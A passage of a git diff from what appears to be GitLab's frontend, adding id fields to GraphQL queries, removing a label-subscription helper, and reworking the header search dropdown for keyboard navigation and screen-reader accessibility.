+ </gl-button>
+ <gl-button class="gl-ml-1" :href="cancelPath">{{ $options.i18n.cancelLabel }}</gl-button>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/google_cloud/components/service_accounts.vue b/app/assets/javascripts/google_cloud/components/service_accounts_list.vue
index b70b25a5dc3..b70b25a5dc3 100644
--- a/app/assets/javascripts/google_cloud/components/service_accounts.vue
+++ b/app/assets/javascripts/google_cloud/components/service_accounts_list.vue
diff --git a/app/assets/javascripts/google_cloud/index.js b/app/assets/javascripts/google_cloud/index.js
index a156a632e9a..ab9e8227812 100644
--- a/app/assets/javascripts/google_cloud/index.js
+++ b/app/assets/javascripts/google_cloud/index.js
@@ -1,11 +1,12 @@
import Vue from 'vue';
import App from './components/app.vue';
-const elementRenderer = (element, props = {}) => (createElement) =>
- createElement(element, { props });
-
export default () => {
- const root = document.querySelector('#js-google-cloud');
- const props = JSON.parse(root.getAttribute('data'));
- return new Vue({ el: root, render: elementRenderer(App, props) });
+ const root = '#js-google-cloud';
+ const element = document.querySelector(root);
+ const { screen, ...attrs } = JSON.parse(element.getAttribute('data'));
+ return new Vue({
+ el: element,
+ render: (createElement) => createElement(App, { props: { screen }, attrs }),
+ });
};
diff --git a/app/assets/javascripts/graphql_shared/constants.js b/app/assets/javascripts/graphql_shared/constants.js
index 692de9dcb88..3b36c3e6ac5 100644
--- a/app/assets/javascripts/graphql_shared/constants.js
+++ b/app/assets/javascripts/graphql_shared/constants.js
@@ -1,6 +1,8 @@
export const MINIMUM_SEARCH_LENGTH = 3;
export const TYPE_CI_RUNNER = 'Ci::Runner';
+export const TYPE_CRM_CONTACT = 'CustomerRelations::Contact';
+export const TYPE_DISCUSSION = 'Discussion';
export const TYPE_EPIC = 'Epic';
export const TYPE_GROUP = 'Group';
export const TYPE_ISSUE = 'Issue';
@@ -8,10 +10,10 @@ export const TYPE_ITERATION = 'Iteration';
export const TYPE_ITERATIONS_CADENCE = 'Iterations::Cadence';
export const TYPE_MERGE_REQUEST = 'MergeRequest';
export const TYPE_MILESTONE = 'Milestone';
+export const TYPE_NOTE = 'Note';
+export const TYPE_PACKAGES_PACKAGE = 'Packages::Package';
export const TYPE_PROJECT = 'Project';
export const TYPE_SCANNER_PROFILE = 'DastScannerProfile';
export const TYPE_SITE_PROFILE = 'DastSiteProfile';
export const TYPE_USER = 'User';
export const TYPE_VULNERABILITY = 'Vulnerability';
-export const TYPE_NOTE = 'Note';
-export const TYPE_DISCUSSION = 'Discussion';
diff --git a/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql
index 2c771c32e16..64f547f933a 100644
--- a/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql
@@ -6,6 +6,7 @@ fragment AlertListItem on AlertManagementAlert {
startedAt
eventCount
issue {
+ id
iid
state
title
diff --git a/app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql
index 9a9ae369519..794fe0a6151 100644
--- a/app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql
@@ -12,6 +12,7 @@ fragment AlertDetailItem on AlertManagementAlert {
endedAt
hosts
environment {
+ id
name
path
}
diff --git a/app/assets/javascripts/graphql_shared/fragments/issuable_timelogs.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/issuable_timelogs.fragment.graphql
index 3551394ff97..78b2cd34a5c 100644
--- a/app/assets/javascripts/graphql_shared/fragments/issuable_timelogs.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/issuable_timelogs.fragment.graphql
@@ -1,10 +1,12 @@
fragment TimelogFragment on Timelog {
timeSpent
user {
+ id
name
}
spentAt
note {
+ id
body
}
summary
diff --git a/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql b/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql
index 0b451262b5a..429993b37bf 100644
--- a/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql
+++ b/app/assets/javascripts/graphql_shared/fragments/user_availability.fragment.graphql
@@ -1,3 +1,4 @@
+# eslint-disable-next-line @graphql-eslint/require-id-when-available
fragment UserAvailability on User {
status {
availability
diff --git a/app/assets/javascripts/graphql_shared/mutations/create_merge_request.mutation.graphql b/app/assets/javascripts/graphql_shared/mutations/create_merge_request.mutation.graphql
index 79c56448b3f..2adaf24ed34 100644
--- a/app/assets/javascripts/graphql_shared/mutations/create_merge_request.mutation.graphql
+++ b/app/assets/javascripts/graphql_shared/mutations/create_merge_request.mutation.graphql
@@ -1,6 +1,7 @@
mutation createMergeRequest($input: MergeRequestCreateInput!) {
mergeRequestCreate(input: $input) {
mergeRequest {
+ id
iid
}
errors
diff --git a/app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql b/app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql
index 5ee2cf7ca44..8debc6113d1 100644
--- a/app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql
@@ -2,6 +2,7 @@
query alertDetails($fullPath: ID!, $alertId: String) {
project(fullPath: $fullPath) {
+ id
alertManagementAlerts(iid: $alertId) {
nodes {
...AlertDetailItem
diff --git a/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql b/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql
index 095e4fe29df..9ffa0bad9ad 100644
--- a/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql
@@ -14,6 +14,7 @@ query getAlerts(
$domain: AlertManagementDomainFilter = operations
) {
project(fullPath: $projectPath) {
+ id
alertManagementAlerts(
search: $searchTerm
assigneeUsername: $assigneeUsername
diff --git a/app/assets/javascripts/graphql_shared/queries/group_users_search.query.graphql b/app/assets/javascripts/graphql_shared/queries/group_users_search.query.graphql
index c5f99a1657e..7c88e494a2e 100644
--- a/app/assets/javascripts/graphql_shared/queries/group_users_search.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/group_users_search.query.graphql
@@ -6,6 +6,7 @@ query groupUsersSearch($search: String!, $fullPath: ID!) {
id
users: groupMembers(search: $search, relations: [DIRECT, DESCENDANTS, INHERITED]) {
nodes {
+ id
user {
...User
...UserAvailability
diff --git a/app/assets/javascripts/graphql_shared/queries/project_user_members_search.query.graphql b/app/assets/javascripts/graphql_shared/queries/project_user_members_search.query.graphql
index 62ce27815c7..ef3070d3437 100644
--- a/app/assets/javascripts/graphql_shared/queries/project_user_members_search.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/project_user_members_search.query.graphql
@@ -3,6 +3,7 @@ query searchProjectMembers($fullPath: ID!, $search: String) {
id
projectMembers(search: $search) {
nodes {
+ id
user {
id
name
diff --git a/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql b/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
index d04a49f8b3a..bb34e4032f4 100644
--- a/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
+++ b/app/assets/javascripts/graphql_shared/queries/users_search.query.graphql
@@ -3,8 +3,10 @@
query projectUsersSearch($search: String!, $fullPath: ID!) {
workspace: project(fullPath: $fullPath) {
+ id
users: projectMembers(search: $search, relations: [DIRECT, INHERITED, INVITED_GROUPS]) {
nodes {
+ id
user {
...User
...UserAvailability
diff --git a/app/assets/javascripts/group_label_subscription.js b/app/assets/javascripts/group_label_subscription.js
deleted file mode 100644
index 378259eb9c8..00000000000
--- a/app/assets/javascripts/group_label_subscription.js
+++ /dev/null
@@ -1,76 +0,0 @@
-import $ from 'jquery';
-import { __ } from '~/locale';
-import { fixTitle, hide } from '~/tooltips';
-import createFlash from './flash';
-import axios from './lib/utils/axios_utils';
-
-const tooltipTitles = {
- group: __('Unsubscribe at group level'),
- project: __('Unsubscribe at project level'),
-};
-
-export default class GroupLabelSubscription {
- constructor(container) {
- const $container = $(container);
- this.$dropdown = $container.find('.dropdown');
- this.$subscribeButtons = $container.find('.js-subscribe-button');
- this.$unsubscribeButtons = $container.find('.js-unsubscribe-button');
-
- this.$subscribeButtons.on('click', this.subscribe.bind(this));
- this.$unsubscribeButtons.on('click', this.unsubscribe.bind(this));
- }
-
- unsubscribe(event) {
- event.preventDefault();
-
- const url = this.$unsubscribeButtons.attr('data-url');
- axios
- .post(url)
- .then(() => {
- this.toggleSubscriptionButtons();
- this.$unsubscribeButtons.removeAttr('data-url');
- })
- .catch(() =>
- createFlash({
- message: __('There was an error when unsubscribing from this label.'),
- }),
- );
- }
-
- subscribe(event) {
- event.preventDefault();
-
- const $btn = $(event.currentTarget);
- const url = $btn.attr('data-url');
-
- this.$unsubscribeButtons.attr('data-url', url);
-
- axios
- .post(url)
- .then(() => GroupLabelSubscription.setNewTooltip($btn))
- .then(() => this.toggleSubscriptionButtons())
- .catch(() =>
- createFlash({
- message: __('There was an error when subscribing to this label.'),
- }),
- );
- }
-
- toggleSubscriptionButtons() {
- this.$dropdown.toggleClass('hidden');
- this.$subscribeButtons.toggleClass('hidden');
- this.$unsubscribeButtons.toggleClass('hidden');
- }
-
- static setNewTooltip($button) {
- if (!$button.hasClass('js-subscribe-button')) return;
-
- const type = $button.hasClass('js-group-level') ? 'group' : 'project';
- const newTitle = tooltipTitles[type];
-
- const $el = $('.js-unsubscribe-button', $button.closest('.label-actions-list'));
- hide($el);
- $el.attr('title', `${newTitle}`);
- fixTitle($el);
- }
-}
diff --git a/app/assets/javascripts/header_search/components/app.vue b/app/assets/javascripts/header_search/components/app.vue
index c6590fd8eb3..edc6573a489 100644
--- a/app/assets/javascripts/header_search/components/app.vue
+++ b/app/assets/javascripts/header_search/components/app.vue
@@ -1,8 +1,17 @@
<script>
import { GlSearchBoxByType, GlOutsideDirective as Outside } from '@gitlab/ui';
import { mapState, mapActions, mapGetters } from 'vuex';
+import { debounce } from 'lodash';
import { visitUrl } from '~/lib/utils/url_utility';
-import { __ } from '~/locale';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
+import { s__, sprintf } from '~/locale';
+import DropdownKeyboardNavigation from '~/vue_shared/components/dropdown_keyboard_navigation.vue';
+import {
+ FIRST_DROPDOWN_INDEX,
+ SEARCH_BOX_INDEX,
+ SEARCH_INPUT_DESCRIPTION,
+ SEARCH_RESULTS_DESCRIPTION,
+} from '../constants';
import HeaderSearchAutocompleteItems from './header_search_autocomplete_items.vue';
import HeaderSearchDefaultItems from './header_search_default_items.vue';
import HeaderSearchScopedItems from './header_search_scoped_items.vue';
@@ -10,7 +19,21 @@ import HeaderSearchScopedItems from './header_search_scoped_items.vue';
export default {
name: 'HeaderSearchApp',
i18n: {
- searchPlaceholder: __('Search or jump to...'),
+ searchPlaceholder: s__('GlobalSearch|Search or jump to...'),
+ searchAria: s__('GlobalSearch|Search GitLab'),
+ searchInputDescribeByNoDropdown: s__(
+ 'GlobalSearch|Type and press the enter key to submit search.',
+ ),
+ searchInputDescribeByWithDropdown: s__(
+ 'GlobalSearch|Type for new suggestions to appear below.',
+ ),
+ searchDescribedByDefault: s__(
+ 'GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list.',
+ ),
+ searchDescribedByUpdated: s__(
+ 'GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit.',
+ ),
+ searchResultsLoading: s__('GlobalSearch|Search results are loading'),
},
directives: { Outside },
components: {
@@ -18,15 +41,17 @@ export default {
HeaderSearchDefaultItems,
HeaderSearchScopedItems,
HeaderSearchAutocompleteItems,
+ DropdownKeyboardNavigation,
},
data() {
return {
showDropdown: false,
+ currentFocusIndex: SEARCH_BOX_INDEX,
};
},
computed: {
- ...mapState(['search']),
- ...mapGetters(['searchQuery']),
+ ...mapState(['search', 'loading']),
+ ...mapGetters(['searchQuery', 'searchOptions']),
searchText: {
get() {
return this.search;
@@ -35,15 +60,55 @@ export default {
this.setSearch(value);
},
},
+ currentFocusedOption() {
+ return this.searchOptions[this.currentFocusIndex];
+ },
+ currentFocusedId() {
+ return this.currentFocusedOption?.html_id;
+ },
+ isLoggedIn() {
+ return gon?.current_username;
+ },
showSearchDropdown() {
- return this.showDropdown && gon?.current_username;
+ return this.showDropdown && this.isLoggedIn;
},
showDefaultItems() {
return !this.searchText;
},
+ defaultIndex() {
+ if (this.showDefaultItems) {
+ return SEARCH_BOX_INDEX;
+ }
+
+ return FIRST_DROPDOWN_INDEX;
+ },
+ searchInputDescribeBy() {
+ if (this.isLoggedIn) {
+ return this.$options.i18n.searchInputDescribeByWithDropdown;
+ }
+
+ return this.$options.i18n.searchInputDescribeByNoDropdown;
+ },
+ dropdownResultsDescription() {
+ if (!this.showSearchDropdown) {
+ return ''; // This allows aria-live to see register an update when the dropdown is shown
+ }
+
+ if (this.showDefaultItems) {
+ return sprintf(this.$options.i18n.searchDescribedByDefault, {
+ count: this.searchOptions.length,
+ });
+ }
+
+ return this.loading
+ ? this.$options.i18n.searchResultsLoading
+ : sprintf(this.$options.i18n.searchDescribedByUpdated, {
+ count: this.searchOptions.length,
+ });
+ },
},
methods: {
- ...mapActions(['setSearch', 'fetchAutocompleteOptions']),
+ ...mapActions(['setSearch', 'fetchAutocompleteOptions', 'clearAutocomplete']),
openDropdown() {
this.showDropdown = true;
},
@@ -51,44 +116,77 @@ export default {
this.showDropdown = false;
},
submitSearch() {
- return visitUrl(this.searchQuery);
+ return visitUrl(this.currentFocusedOption?.url || this.searchQuery);
},
- getAutocompleteOptions(searchTerm) {
+ getAutocompleteOptions: debounce(function debouncedSearch(searchTerm) {
if (!searchTerm) {
- return;
+ this.clearAutocomplete();
+ } else {
+ this.fetchAutocompleteOptions();
}
-
- this.fetchAutocompleteOptions();
- },
+ }, DEFAULT_DEBOUNCE_AND_THROTTLE_MS),
},
+ SEARCH_BOX_INDEX,
+ SEARCH_INPUT_DESCRIPTION,
+ SEARCH_RESULTS_DESCRIPTION,
};
</script>
<template>
- <section v-outside="closeDropdown" class="header-search gl-relative">
+ <form
+ v-outside="closeDropdown"
+ role="search"
+ :aria-label="$options.i18n.searchAria"
+ class="header-search gl-relative"
+ >
<gl-search-box-by-type
+ id="search"
v-model="searchText"
- :debounce="500"
+ role="searchbox"
+ class="gl-z-index-1"
autocomplete="off"
:placeholder="$options.i18n.searchPlaceholder"
+ :aria-activedescendant="currentFocusedId"
+ :aria-describedby="$options.SEARCH_INPUT_DESCRIPTION"
@focus="openDropdown"
@click="openDropdown"
@input="getAutocompleteOptions"
- @keydown.enter="submitSearch"
- @keydown.esc="closeDropdown"
+ @keydown.enter.stop.prevent="submitSearch"
/>
+ <span :id="$options.SEARCH_INPUT_DESCRIPTION" role="region" class="gl-sr-only">{{
+ searchInputDescribeBy
+ }}</span>
+ <span
+ role="region"
+ :data-testid="$options.SEARCH_RESULTS_DESCRIPTION"
+ class="gl-sr-only"
+ aria-live="polite"
+ aria-atomic="true"
+ >
+ {{ dropdownResultsDescription }}
+ </span>
<div
v-if="showSearchDropdown"
data-testid="header-search-dropdown-menu"
class="header-search-dropdown-menu gl-absolute gl-w-full gl-bg-white gl-border-1 gl-rounded-base gl-border-solid gl-border-gray-200 gl-shadow-x0-y2-b4-s0"
>
<div class="header-search-dropdown-content gl-overflow-y-auto gl-py-2">
- <header-search-default-items v-if="showDefaultItems" />
+ <dropdown-keyboard-navigation
+ v-model="currentFocusIndex"
+ :max="searchOptions.length - 1"
+ :min="$options.SEARCH_BOX_INDEX"
+ :default-index="defaultIndex"
+ @tab="closeDropdown"
+ />
+ <header-search-default-items
+ v-if="showDefaultItems"
+ :current-focused-option="currentFocusedOption"
+ />
<template v-else>
- <header-search-scoped-items />
- <header-search-autocomplete-items />
+ <header-search-scoped-items :current-focused-option="currentFocusedOption" />
+ <header-search-autocomplete-items :current-focused-option="currentFocusedOption" />
</template>
</div>
</div>
- </section>
+ </form>
</template>
diff --git a/app/assets/javascripts/header_search/components/header_search_autocomplete_items.vue b/app/assets/javascripts/header_search/components/header_search_autocomplete_items.vue
index 9bea2b280f7..9f4f4768247 100644
--- a/app/assets/javascripts/header_search/components/header_search_autocomplete_items.vue
+++ b/app/assets/javascripts/header_search/components/header_search_autocomplete_items.vue
@@ -23,10 +23,26 @@ export default {
directives: {
SafeHtml,
},
+ props: {
+ currentFocusedOption: {
+ type: Object,
+ required: false,
+ default: () => null,
+ },
+ },
computed: {
...mapState(['search', 'loading']),
...mapGetters(['autocompleteGroupedSearchOptions']),
},
+ watch: {
+ currentFocusedOption() {
+ const focusedElement = this.$refs[this.currentFocusedOption?.html_id]?.[0]?.$el;
+
+ if (focusedElement) {
+ focusedElement.scrollIntoView(false);
+ }
+ },
+ },
methods: {
highlightedName(val) {
return highlight(val, this.search);
@@ -38,6 +54,9 @@ export default {
return SMALL_AVATAR_PX;
},
+ isOptionFocused(data) {
+ return this.currentFocusedOption?.html_id === data.html_id;
+ },
},
};
</script>
@@ -49,13 +68,17 @@ export default {
<gl-dropdown-divider />
<gl-dropdown-section-header>{{ option.category }}</gl-dropdown-section-header>
<gl-dropdown-item
- v-for="(data, index) in option.data"
- :id="`autocomplete-${option.category}-${index}`"
- :key="index"
+ v-for="data in option.data"
+ :id="data.html_id"
+ :ref="data.html_id"
+ :key="data.html_id"
+ :class="{ 'gl-bg-gray-50': isOptionFocused(data) }"
+ :aria-selected="isOptionFocused(data)"
+ :aria-label="data.label"
tabindex="-1"
:href="data.url"
>
- <div class="gl-display-flex gl-align-items-center">
+ <div class="gl-display-flex gl-align-items-center" aria-hidden="true">
<gl-avatar
v-if="data.avatar_url !== undefined"
:src="data.avatar_url"
diff --git a/app/assets/javascripts/header_search/components/header_search_default_items.vue b/app/assets/javascripts/header_search/components/header_search_default_items.vue
index 2871937ed3a..53e63bc6cca 100644
--- a/app/assets/javascripts/header_search/components/header_search_default_items.vue
+++ b/app/assets/javascripts/header_search/components/header_search_default_items.vue
@@ -12,6 +12,13 @@ export default {
GlDropdownSectionHeader,
GlDropdownItem,
},
+ props: {
+ currentFocusedOption: {
+ type: Object,
+ required: false,
+ default: () => null,
+ },
+ },
computed: {
...mapState(['searchContext']),
...mapGetters(['defaultSearchOptions']),
@@ -23,6 +30,11 @@ export default {
);
},
},
+ methods: {
+ isOptionFocused(option) {
+ return this.currentFocusedOption?.html_id === option.html_id;
+ },
+ },
};
</script>
@@ -30,13 +42,17 @@ export default {
<div>
<gl-dropdown-section-header>{{ sectionHeader }}</gl-dropdown-section-header>
<gl-dropdown-item
- v-for="(option, index) in defaultSearchOptions"
- :id="`default-${index}`"
- :key="index"
+ v-for="option in defaultSearchOptions"
+ :id="option.html_id"
+ :ref="option.html_id"
+ :key="option.html_id"
+ :class="{ 'gl-bg-gray-50': isOptionFocused(option) }"
+ :aria-selected="isOptionFocused(option)"
+ :aria-label="option.title"
tabindex="-1"
:href="option.url"
>
- {{ option.title }}
+ <span aria-hidden="true">{{ option.title }}</span>
</gl-dropdown-item>
</div>
</template>
diff --git a/app/assets/javascripts/header_search/components/header_search_scoped_items.vue b/app/assets/javascripts/header_search/components/header_search_scoped_items.vue
index 645eba05148..3aebee71509 100644
--- a/app/assets/javascripts/header_search/components/header_search_scoped_items.vue
+++ b/app/assets/javascripts/header_search/components/header_search_scoped_items.vue
@@ -1,31 +1,57 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { mapState, mapGetters } from 'vuex';
+import { __, sprintf } from '~/locale';
export default {
name: 'HeaderSearchScopedItems',
components: {
GlDropdownItem,
},
+ props: {
+ currentFocusedOption: {
+ type: Object,
+ required: false,
+ default: () => null,
+ },
+ },
computed: {
...mapState(['search']),
...mapGetters(['scopedSearchOptions']),
},
+ methods: {
+ isOptionFocused(option) {
+ return this.currentFocusedOption?.html_id === option.html_id;
+ },
+ ariaLabel(option) {
+ return sprintf(__('%{search} %{description} %{scope}'), {
+ search: this.search,
+ description: option.description,
+ scope: option.scope || '',
+ });
+ },
+ },
};
</script>
<template>
<div>
<gl-dropdown-item
- v-for="(option, index) in scopedSearchOptions"
- :id="`scoped-${index}`"
- :key="index"
+ v-for="option in scopedSearchOptions"
+ :id="option.html_id"
+ :ref="option.html_id"
+ :key="option.html_id"
+ :class="{ 'gl-bg-gray-50': isOptionFocused(option) }"
+ :aria-selected="isOptionFocused(option)"
+ :aria-label="ariaLabel(option)"
tabindex="-1"
:href="option.url"
>
- "<span class="gl-font-weight-bold">{{ search }}</span
- >" {{ option.description }}
- <span v-if="option.scope" class="gl-font-style-italic">{{ option.scope }}</span>
+ <span aria-hidden="true">
+ "<span class="gl-font-weight-bold">{{ search }}</span
+ >" {{ option.description }}
+ <span v-if="option.scope" class="gl-font-style-italic">{{ option.scope }}</span>
+ </span>
</gl-dropdown-item>
</div>
</template>
diff --git a/app/assets/javascripts/header_search/constants.js b/app/assets/javascripts/header_search/constants.js
index 2fadb1bd1ee..b2e45fcd648 100644
--- a/app/assets/javascripts/header_search/constants.js
+++ b/app/assets/javascripts/header_search/constants.js
@@ -1,20 +1,20 @@
-import { __ } from '~/locale';
+import { s__ } from '~/locale';
-export const MSG_ISSUES_ASSIGNED_TO_ME = __('Issues assigned to me');
+export const MSG_ISSUES_ASSIGNED_TO_ME = s__('GlobalSearch|Issues assigned to me');
-export const MSG_ISSUES_IVE_CREATED = __("Issues I've created");
+export const MSG_ISSUES_IVE_CREATED = s__("GlobalSearch|Issues I've created");
-export const MSG_MR_ASSIGNED_TO_ME = __('Merge requests assigned to me');
+export const MSG_MR_ASSIGNED_TO_ME = s__('GlobalSearch|Merge requests assigned to me');
-export const MSG_MR_IM_REVIEWER = __("Merge requests that I'm a reviewer");
+export const MSG_MR_IM_REVIEWER = s__("GlobalSearch|Merge requests that I'm a reviewer");
-export const MSG_MR_IVE_CREATED = __("Merge requests I've created");
+export const MSG_MR_IVE_CREATED = s__("GlobalSearch|Merge requests I've created");
-export const MSG_IN_ALL_GITLAB = __('in all GitLab');
+export const MSG_IN_ALL_GITLAB = s__('GlobalSearch|in all GitLab');
-export const MSG_IN_GROUP = __('in group');
+export const MSG_IN_GROUP = s__('GlobalSearch|in group');
-export const MSG_IN_PROJECT = __('in project');
+export const MSG_IN_PROJECT = s__('GlobalSearch|in project');
export const GROUPS_CATEGORY = 'Groups';
@@ -23,3 +23,11 @@ export const PROJECTS_CATEGORY = 'Projects';
export const LARGE_AVATAR_PX = 32;
export const SMALL_AVATAR_PX = 16;
+
+export const FIRST_DROPDOWN_INDEX = 0;
+
+export const SEARCH_BOX_INDEX = -1;
+
+export const SEARCH_INPUT_DESCRIPTION = 'search-input-description';
+
+export const SEARCH_RESULTS_DESCRIPTION = 'search-results-description';
diff --git a/app/assets/javascripts/header_search/store/actions.js b/app/assets/javascripts/header_search/store/actions.js
index 2c3b1bd4c0f..0ba956f3ed1 100644
--- a/app/assets/javascripts/header_search/store/actions.js
+++ b/app/assets/javascripts/header_search/store/actions.js
@@ -14,6 +14,10 @@ export const fetchAutocompleteOptions = ({ commit, getters }) => {
});
};
+export const clearAutocomplete = ({ commit }) => {
+ commit(types.CLEAR_AUTOCOMPLETE);
+};
+
export const setSearch = ({ commit }, value) => {
commit(types.SET_SEARCH, value);
};
diff --git a/app/assets/javascripts/header_search/store/getters.js b/app/assets/javascripts/header_search/store/getters.js
index 3f4e231ca55..a1348a8aa3f 100644
--- a/app/assets/javascripts/header_search/store/getters.js
+++ b/app/assets/javascripts/header_search/store/getters.js
@@ -1,3 +1,4 @@
+import { omitBy, isNil } from 'lodash';
import { objectToQuery } from '~/lib/utils/url_utility';
import {
@@ -12,23 +13,29 @@ import {
} from '../constants';
export const searchQuery = (state) => {
- const query = {
- search: state.search,
- nav_source: 'navbar',
- project_id: state.searchContext.project?.id,
- group_id: state.searchContext.group?.id,
- scope: state.searchContext.scope,
- };
+ const query = omitBy(
+ {
+ search: state.search,
+ nav_source: 'navbar',
+ project_id: state.searchContext.project?.id,
+ group_id: state.searchContext.group?.id,
+ scope: state.searchContext?.scope,
+ },
+ isNil,
+ );
return `${state.searchPath}?${objectToQuery(query)}`;
};
export const autocompleteQuery = (state) => {
- const query = {
- term: state.search,
- project_id: state.searchContext.project?.id,
- project_ref: state.searchContext.ref,
- };
+ const query = omitBy(
+ {
+ term: state.search,
+ project_id: state.searchContext.project?.id,
+ project_ref: state.searchContext?.ref,
+ },
+ isNil,
+ );
return `${state.autocompletePath}?${objectToQuery(query)}`;
};
@@ -54,22 +61,27 @@ export const defaultSearchOptions = (state, getters) => {
return [
{
+ html_id: 'default-issues-assigned',
title: MSG_ISSUES_ASSIGNED_TO_ME,
url: `${getters.scopedIssuesPath}/?assignee_username=${userName}`,
},
{
+ html_id: 'default-issues-created',
title: MSG_ISSUES_IVE_CREATED,
url: `${getters.scopedIssuesPath}/?author_username=${userName}`,
},
{
+ html_id: 'default-mrs-assigned',
title: MSG_MR_ASSIGNED_TO_ME,
url: `${getters.scopedMRPath}/?assignee_username=${userName}`,
},
{
+ html_id: 'default-mrs-reviewer',
title: MSG_MR_IM_REVIEWER,
url: `${getters.scopedMRPath}/?reviewer_username=${userName}`,
},
{
+ html_id: 'default-mrs-created',
title: MSG_MR_IVE_CREATED,
url: `${getters.scopedMRPath}/?author_username=${userName}`,
},
@@ -77,42 +89,43 @@ export const defaultSearchOptions = (state, getters) => {
};
export const projectUrl = (state) => {
- if (!state.searchContext.project || !state.searchContext.group) {
- return null;
- }
-
- const query = {
- search: state.search,
- nav_source: 'navbar',
- project_id: state.searchContext.project.id,
- group_id: state.searchContext.group.id,
- scope: state.searchContext.scope,
- };
+ const query = omitBy(
+ {
+ search: state.search,
+ nav_source: 'navbar',
+ project_id: state.searchContext?.project?.id,
+ group_id: state.searchContext?.group?.id,
+ scope: state.searchContext?.scope,
+ },
+ isNil,
+ );
return `${state.searchPath}?${objectToQuery(query)}`;
};
export const groupUrl = (state) => {
- if (!state.searchContext.group) {
- return null;
- }
-
- const query = {
- search: state.search,
- nav_source: 'navbar',
- group_id: state.searchContext.group.id,
- scope: state.searchContext.scope,
- };
+ const query = omitBy(
+ {
+ search: state.search,
+ nav_source: 'navbar',
+ group_id: state.searchContext?.group?.id,
+ scope: state.searchContext?.scope,
+ },
+ isNil,
+ );
return `${state.searchPath}?${objectToQuery(query)}`;
};
export const allUrl = (state) => {
- const query = {
- search: state.search,
- nav_source: 'navbar',
- scope: state.searchContext.scope,
- };
+ const query = omitBy(
+ {
+ search: state.search,
+ nav_source: 'navbar',
+ scope: state.searchContext?.scope,
+ },
+ isNil,
+ );
return `${state.searchPath}?${objectToQuery(query)}`;
};
@@ -122,6 +135,7 @@ export const scopedSearchOptions = (state, getters) => {
if (state.searchContext.project) {
options.push({
+ html_id: 'scoped-in-project',
scope: state.searchContext.project.name,
description: MSG_IN_PROJECT,
url: getters.projectUrl,
@@ -130,6 +144,7 @@ export const scopedSearchOptions = (state, getters) => {
if (state.searchContext.group) {
options.push({
+ html_id: 'scoped-in-group',
scope: state.searchContext.group.name,
description: MSG_IN_GROUP,
url: getters.groupUrl,
@@ -137,6 +152,7 @@ export const scopedSearchOptions = (state, getters) => {
}
options.push({
+ html_id: 'scoped-in-all',
description: MSG_IN_ALL_GITLAB,
url: getters.allUrl,
});
@@ -165,3 +181,18 @@ export const autocompleteGroupedSearchOptions = (state) => {
return results;
};
+
+export const searchOptions = (state, getters) => {
+ if (!state.search) {
+ return getters.defaultSearchOptions;
+ }
+
+ const sortedAutocompleteOptions = Object.values(getters.autocompleteGroupedSearchOptions).reduce(
+ (options, group) => {
+ return [...options, ...group.data];
+ },
+ [],
+ );
+
+ return getters.scopedSearchOptions.concat(sortedAutocompleteOptions);
+};
diff --git a/app/assets/javascripts/header_search/store/mutation_types.js b/app/assets/javascripts/header_search/store/mutation_types.js
index a2358621ce6..6e65345757f 100644
--- a/app/assets/javascripts/header_search/store/mutation_types.js
+++ b/app/assets/javascripts/header_search/store/mutation_types.js
@@ -1,5 +1,6 @@
export const REQUEST_AUTOCOMPLETE = 'REQUEST_AUTOCOMPLETE';
export const RECEIVE_AUTOCOMPLETE_SUCCESS = 'RECEIVE_AUTOCOMPLETE_SUCCESS';
export const RECEIVE_AUTOCOMPLETE_ERROR = 'RECEIVE_AUTOCOMPLETE_ERROR';
+export const CLEAR_AUTOCOMPLETE = 'CLEAR_AUTOCOMPLETE';
export const SET_SEARCH = 'SET_SEARCH';
diff --git a/app/assets/javascripts/header_search/store/mutations.js b/app/assets/javascripts/header_search/store/mutations.js
index 175b5406540..26b4a8854fe 100644
--- a/app/assets/javascripts/header_search/store/mutations.js
+++ b/app/assets/javascripts/header_search/store/mutations.js
@@ -7,12 +7,17 @@ export default {
},
[types.RECEIVE_AUTOCOMPLETE_SUCCESS](state, data) {
state.loading = false;
- state.autocompleteOptions = data;
+ state.autocompleteOptions = data.map((d, i) => {
+ return { html_id: `autocomplete-${d.category}-${i}`, ...d };
+ });
},
[types.RECEIVE_AUTOCOMPLETE_ERROR](state) {
state.loading = false;
state.autocompleteOptions = [];
},
+ [types.CLEAR_AUTOCOMPLETE](state) {
+ state.autocompleteOptions = [];
+ },
[types.SET_SEARCH](state, value) {
state.search = value;
},
diff --git a/app/assets/javascripts/ide/components/activity_bar.vue b/app/assets/javascripts/ide/components/activity_bar.vue
index c71d911adfb..846b4d92724 100644
--- a/app/assets/javascripts/ide/components/activity_bar.vue
+++ b/app/assets/javascripts/ide/components/activity_bar.vue
@@ -63,7 +63,7 @@ export default {
